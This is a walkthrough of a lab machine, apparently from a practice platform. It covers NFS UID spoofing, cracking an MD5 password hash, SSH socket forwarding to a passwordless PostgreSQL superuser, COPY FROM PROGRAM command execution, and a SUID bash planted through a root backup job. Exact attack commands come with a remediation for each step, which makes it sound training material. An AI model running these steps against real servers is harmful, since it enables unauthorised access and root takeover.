← all walkthroughs

Slonik

Linux· Medium· Credential Access· Privilege Escalation
owned
2026-10-12
time to own
7m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Linux server exposing only SSH and NFS. The NFS export of /home was open to any client and trusted client-supplied user IDs, so impersonating the 'service' account exposed its shell history, which revealed a cracked-able password hash and showed that the PostgreSQL superuser was reachable over a local Unix socket without a password.

Forwarding that socket over SSH gave database superuser access, and PostgreSQL's COPY FROM PROGRAM feature turned it into command execution as the postgres user. A root-owned backup job that copies the PostgreSQL data directory verbatim then carried my own SUID-root shell into a backup folder, which was run to obtain full root control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"

Attack path — how the box was taken

1EnumerationService discovery and NFS export enumeration (T1046)
Scanned the host and found an open NFS file share
A port sweep showed only SSH, the RPC portmapper and NFS (plus the RPC helper ports for mountd and statd). There was no web surface. Querying the NFS mount service revealed that two directories, /var/backups and /home, were exported to every client with no host restriction.
Open ports 22,111,2049 plus mountd/statd ports; export list showed '/var/backups *' and '/home *'.
Exact commands 3
shell

Find all open TCP ports.

$ nmap -p- --min-rate 2000 $TARGET
shell

Fingerprint SSH, rpcbind and NFS.

$ nmap -sC -sV -p22,111,2049 $TARGET
shell

List NFS exports; shows /var/backups and /home open to everyone.

$ showmount -e $TARGET
FixRestrict NFS exports and stop trusting client-supplied UIDsCritical
Weakness/home and /var/backups were exported to every host, and NFS AUTH_SYS trusted client-asserted user IDs, so anyone on the network could impersonate the 'service' account and read its files.
FixLimit exports to specific client IPs, use root_squash/all_squash where possible, and switch to NFSv4 with Kerberos (sec=krb5p) so identities are cryptographically verified. Remove /home from NFS entirely if not needed and firewall ports 111/2049 and the mountd/statd ports.
2Initial AccessNFS AUTH_SYS UID/GID spoofing (T1078 / T1552.003)
Impersonated the 'service' user over NFS to read its home directory
NFS with AUTH_SYS trusts whatever user and group IDs the client claims. The /home/service directory was owned by UID/GID 1337 and unreadable to others, but creating a local account with the same UID/GID on my machine made the server grant full access. The account's shell history files were then readable.
Local user created with uid 1337 could read /home/service, including .psql_history and .bash_history.
Exact commands 3
shell

Mount the exported file systems.

$ mkdir slonik-nfs && sudo mount -t nfs $TARGET:/ ./slonik-nfs -o nolock
shell

Create a local user matching the owner's UID/GID.

$ sudo groupadd -g 1337 service && sudo useradd -u 1337 -g 1337 -m -s /bin/bash service
shell

Read the shell histories as the spoofed user (adjust path to the mount).

$ sudo su service -c 'cat ./slonik-nfs/home/service/.psql_history ./slonik-nfs/home/service/.bash_history'
3Credential AccessCredential harvesting from history files and MD5 cracking (T1552.003, T1110.002)
Recovered the service password from a history file and learned how PostgreSQL is reached
.psql_history contained an INSERT statement with the 'service' account's unsalted MD5 password hash, which cracked instantly to a trivial password. .bash_history showed the administrator connecting as the postgres superuser over the local Unix socket, and that PostgreSQL does not listen on TCP.
Hash <withheld> cracked to <withheld>; credential recorded.
Exact commands 2
shell

Crack the unsalted MD5; result is the password '$PASSWORD'.

$ echo $HASH > hash.txt && hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
shell

Password '$PASSWORD'. Session closes immediately (forced shell) but confirms the credential works and allows port/socket forwarding.

$ ssh service@$TARGET
FixStop storing secrets in shell history and use strong password hashingHigh
WeaknessThe service account's password hash and the administrator's database workflow were left in .psql_history and .bash_history, and the hash was an unsalted MD5 of a trivial password that cracked instantly.
FixDisable history for sensitive sessions (HISTFILE=/dev/null, psql \set HISTFILE /dev/null), purge existing history files, and rotate affected passwords. Use scram-sha-256 or bcrypt with long unique passwords instead of MD5.
4FootholdSSH Unix-socket forwarding to a trust-authenticated PostgreSQL superuser (T1021.004)
Tunnelled the local PostgreSQL socket over SSH and logged in as the superuser
Although PostgreSQL only listened on a Unix socket, SSH can forward a remote Unix socket to a local one. The postgres superuser was configured to log in over that socket without a password, so connecting through the tunnel gave full database administrator access.
Psql connected as postgres via a local socket directory and could list databases.
Exact commands 2
shell

Forward the remote PostgreSQL socket to a local socket (password '$PASSWORD'). Leave running.

$ ssh -N -L /tmp/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 service@$TARGET
shell

Connect as postgres with no password and confirm access.

$ psql -h /tmp -U postgres -c '\list'
FixRequire authentication for the PostgreSQL superuser and restrict socket forwardingHigh
WeaknessThe postgres superuser could connect over the local socket with no password (trust/peer-style access), and the low-privilege 'service' SSH login permitted forwarding of that socket, exposing full database administration to a weak account.
FixSet pg_hba.conf to scram-sha-256 for the postgres role on all connection types, and avoid peer/trust for administrative roles. In sshd_config set AllowStreamLocalForwarding no and AllowTcpForwarding no for service accounts (Match User service).
5Code ExecutionPostgreSQL COPY FROM PROGRAM command execution (CVE-2019-9193 behaviour, T1059)
Ran operating-system commands as postgres and captured the user flag
A database superuser can use COPY ... FROM PROGRAM to run shell commands on the server. A scratch table received the output of 'id', confirming execution as the postgres OS user, and the same channel was used to read the user flag from the postgres home directory.
Output showed uid=115(postgres) gid=123(postgres); /var/lib/postgresql/user.txt read and accepted.
Exact commands 2
shell

Prove code execution as postgres. The engagement used the socket directory /tmp/slonik-pg-cd-jyygavem; -h /tmp matches the tunnel above.

$ psql -h /tmp -U postgres -d postgres -P pager=off -v ON_ERROR_STOP=1 -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; TABLE cmd_exec;"
shell

Read the user flag (<user.txt>).

$ psql -h /tmp -U postgres -d postgres -P pager=off -v ON_ERROR_STOP=1 -c "TRUNCATE cmd_exec; COPY cmd_exec FROM PROGRAM 'cat /var/lib/postgresql/user.txt'; TABLE cmd_exec;"
FixRemove OS command execution from the database superuser roleCritical
WeaknessThe postgres role was a superuser with the ability to run COPY ... FROM PROGRAM, which converts database access directly into operating-system command execution.
FixDo not use superuser for application or administrative access; use least-privilege roles and never grant pg_execute_server_program. Run PostgreSQL under a confined profile (AppArmor/SELinux, systemd sandboxing such as NoNewPrivileges and ProtectHome) to limit what the postgres OS user can do.
6Privilege EscalationSUID binary planted via root-run backup copy (T1548.001)
Planted a SUID-root shell that a root backup job copied into a readable backup folder
A root-run backup job (/usr/bin/backup) used pg_basebackup to copy the entire PostgreSQL data directory into /opt/backups/current. Because the copy runs as root and preserves permissions, a SUID bash binary placed by the postgres user in the data directory came out the other side as a root-owned SUID file that postgres could execute.
/opt/backups/current/nbash was present after the backup ran; 'nbash -p -c id' returned euid=0(root).
Exact commands 2
shell

Plant the SUID bash in the PostgreSQL data directory (run as postgres).

$ psql -h /tmp -U postgres -d postgres -c "COPY cmd_exec FROM PROGRAM 'cp /bin/bash /var/lib/postgresql/14/main/nbash && chmod 4755 /var/lib/postgresql/14/main/nbash';"
shell

Wait for the periodic root backup (observable with pspy64) until the copy appears with the SUID bit.

$ psql -h /tmp -U postgres -d postgres -c "TRUNCATE cmd_exec; COPY cmd_exec FROM PROGRAM 'ls -l /opt/backups/current/nbash'; TABLE cmd_exec;"
FixHarden the root backup job against externally controlled filesCritical
WeaknessA root-run backup copied the whole PostgreSQL data directory, which the postgres user can write to, into a location where permissions (including the SUID bit) were preserved and the files stayed executable by postgres.
FixBack up with a method that strips special permissions or excludes untrusted files (e.g. pg_dump or tar with --no-same-permissions), store backups in a root-only directory not executable by postgres, mount the backup path nosuid, and monitor for new SUID files.
7Full CompromiseSUID shell execution with preserved privileges (T1548.001)
Executed the SUID shell for root and captured the root flag
Running the copied bash with -p preserves the effective root UID. Through the same PostgreSQL command channel it reported euid=0, and it was then used to read /root/root.txt, giving complete control of the server.
'nbash -p -c id' returned euid=0(root).
Exact commands 2
shell

Confirm euid=0(root).

$ psql -h /tmp -U postgres -d postgres -P pager=off -v ON_ERROR_STOP=1 -c "TRUNCATE cmd_exec; COPY cmd_exec FROM PROGRAM '/opt/backups/current/nbash -p -c id'; TABLE cmd_exec;"
shell

Read the root flag (<root.txt>).

$ psql -h /tmp -U postgres -d postgres -P pager=off -v ON_ERROR_STOP=1 -c "TRUNCATE cmd_exec; COPY cmd_exec FROM PROGRAM '/opt/backups/current/nbash -p -c cat\ /root/root.txt'; TABLE cmd_exec;"

Exposed services

22/tcp
111/tcp
2049/tcp
37491/tcp
40439/tcp
44901/tcp
50121/tcp
51995/tcp